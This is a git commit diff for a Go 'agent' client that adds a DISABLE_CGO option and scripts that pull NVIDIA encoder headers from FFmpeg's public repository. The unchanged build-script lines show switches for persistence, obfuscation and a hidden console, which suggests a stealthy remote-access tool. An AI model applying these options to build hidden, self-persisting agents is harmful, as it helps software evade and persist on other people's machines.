save current
This commit is contained in:
@@ -9,6 +9,7 @@ if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false
|
||||
if not defined OBFUSCATE set OBFUSCATE=false
|
||||
if not defined HIDE_CONSOLE set HIDE_CONSOLE=false
|
||||
if not defined NO_PRINTING set NO_PRINTING=false
|
||||
if not defined DISABLE_CGO set DISABLE_CGO=false
|
||||
|
||||
set "GARBLE_FLAGS="
|
||||
|
||||
@@ -83,7 +84,16 @@ pushd "%CLIENT_DIR%"
|
||||
echo == Building agent for windows amd64 ==
|
||||
set GOOS=windows
|
||||
set GOARCH=amd64
|
||||
set CGO_ENABLED=0
|
||||
if /I "%DISABLE_CGO%"=="true" (
|
||||
set CGO_ENABLED=0
|
||||
) else (
|
||||
set CGO_ENABLED=1
|
||||
if not exist "%CLIENT_DIR%\third_party\nvcodec\nvEncodeAPI.h" (
|
||||
echo Missing NVENC header: "%CLIENT_DIR%\third_party\nvcodec\nvEncodeAPI.h"
|
||||
echo Run scripts\vendor-nvcodec-headers.bat from the repo root or set DISABLE_CGO=true.
|
||||
goto :err
|
||||
)
|
||||
)
|
||||
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent
|
||||
if errorlevel 1 goto :err
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
@echo off
|
||||
setlocal
|
||||
|
||||
set "SCRIPT_DIR=%~dp0"
|
||||
for %%I in ("%SCRIPT_DIR%..") do set "ROOT_DIR=%%~fI"
|
||||
set "DEST_DIR=%ROOT_DIR%\Overlord-Client\third_party\nvcodec"
|
||||
set "DEST_HEADER=%DEST_DIR%\nvEncodeAPI.h"
|
||||
if "%NV_CODEC_HEADERS_REPO%"=="" set "NV_CODEC_HEADERS_REPO=https://github.com/FFmpeg/nv-codec-headers.git"
|
||||
if "%NV_CODEC_HEADERS_REF%"=="" set "NV_CODEC_HEADERS_REF=master"
|
||||
|
||||
set "FORCE=%FORCE_NV_CODEC_HEADERS%"
|
||||
if /I "%~1"=="--force" set "FORCE=1"
|
||||
|
||||
if exist "%DEST_HEADER%" if not "%FORCE%"=="1" (
|
||||
echo nvEncodeAPI.h already exists: "%DEST_HEADER%"
|
||||
echo Use --force or set FORCE_NV_CODEC_HEADERS=1 to refresh it.
|
||||
exit /b 0
|
||||
)
|
||||
|
||||
where git >nul 2>&1
|
||||
if errorlevel 1 (
|
||||
echo git is required to vendor nv-codec-headers
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
set "TMP_DIR=%DEST_DIR%\.nv-codec-headers.tmp"
|
||||
if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%"
|
||||
if not exist "%DEST_DIR%" mkdir "%DEST_DIR%"
|
||||
|
||||
echo Cloning %NV_CODEC_HEADERS_REPO% (%NV_CODEC_HEADERS_REF%)...
|
||||
git clone --depth 1 --branch "%NV_CODEC_HEADERS_REF%" "%NV_CODEC_HEADERS_REPO%" "%TMP_DIR%"
|
||||
if errorlevel 1 goto :err
|
||||
|
||||
set "SRC_HEADER=%TMP_DIR%\include\ffnvcodec\nvEncodeAPI.h"
|
||||
if not exist "%SRC_HEADER%" (
|
||||
echo Expected header not found: "%SRC_HEADER%"
|
||||
goto :err
|
||||
)
|
||||
|
||||
copy /y "%SRC_HEADER%" "%DEST_HEADER%" >nul
|
||||
if errorlevel 1 goto :err
|
||||
rd /s /q "%TMP_DIR%"
|
||||
|
||||
echo Vendored "%DEST_HEADER%"
|
||||
exit /b 0
|
||||
|
||||
:err
|
||||
if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%"
|
||||
echo Failed to vendor nv-codec-headers
|
||||
exit /b 1
|
||||
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
|
||||
DEST_DIR="${ROOT_DIR}/Overlord-Client/third_party/nvcodec"
|
||||
DEST_HEADER="${DEST_DIR}/nvEncodeAPI.h"
|
||||
REPO_URL="${NV_CODEC_HEADERS_REPO:-https://github.com/FFmpeg/nv-codec-headers.git}"
|
||||
REF="${NV_CODEC_HEADERS_REF:-master}"
|
||||
FORCE="${FORCE_NV_CODEC_HEADERS:-0}"
|
||||
|
||||
if [[ "${1:-}" == "--force" ]]; then
|
||||
FORCE=1
|
||||
fi
|
||||
|
||||
if [[ -s "${DEST_HEADER}" && "${FORCE}" != "1" ]]; then
|
||||
echo "nvEncodeAPI.h already exists: ${DEST_HEADER}"
|
||||
echo "Use --force or FORCE_NV_CODEC_HEADERS=1 to refresh it."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
command -v git >/dev/null 2>&1 || {
|
||||
echo "git is required to vendor nv-codec-headers" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
TMP_DIR="${DEST_DIR}/.nv-codec-headers.tmp"
|
||||
rm -rf "${TMP_DIR}"
|
||||
mkdir -p "${DEST_DIR}"
|
||||
|
||||
echo "Cloning ${REPO_URL} (${REF})..."
|
||||
git clone --depth 1 --branch "${REF}" "${REPO_URL}" "${TMP_DIR}"
|
||||
|
||||
SRC_HEADER="${TMP_DIR}/include/ffnvcodec/nvEncodeAPI.h"
|
||||
if [[ ! -s "${SRC_HEADER}" ]]; then
|
||||
echo "Expected header not found: ${SRC_HEADER}" >&2
|
||||
rm -rf "${TMP_DIR}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cp "${SRC_HEADER}" "${DEST_HEADER}"
|
||||
rm -rf "${TMP_DIR}"
|
||||
|
||||
echo "Vendored ${DEST_HEADER}"
|
||||
Reference in New Issue
Block a user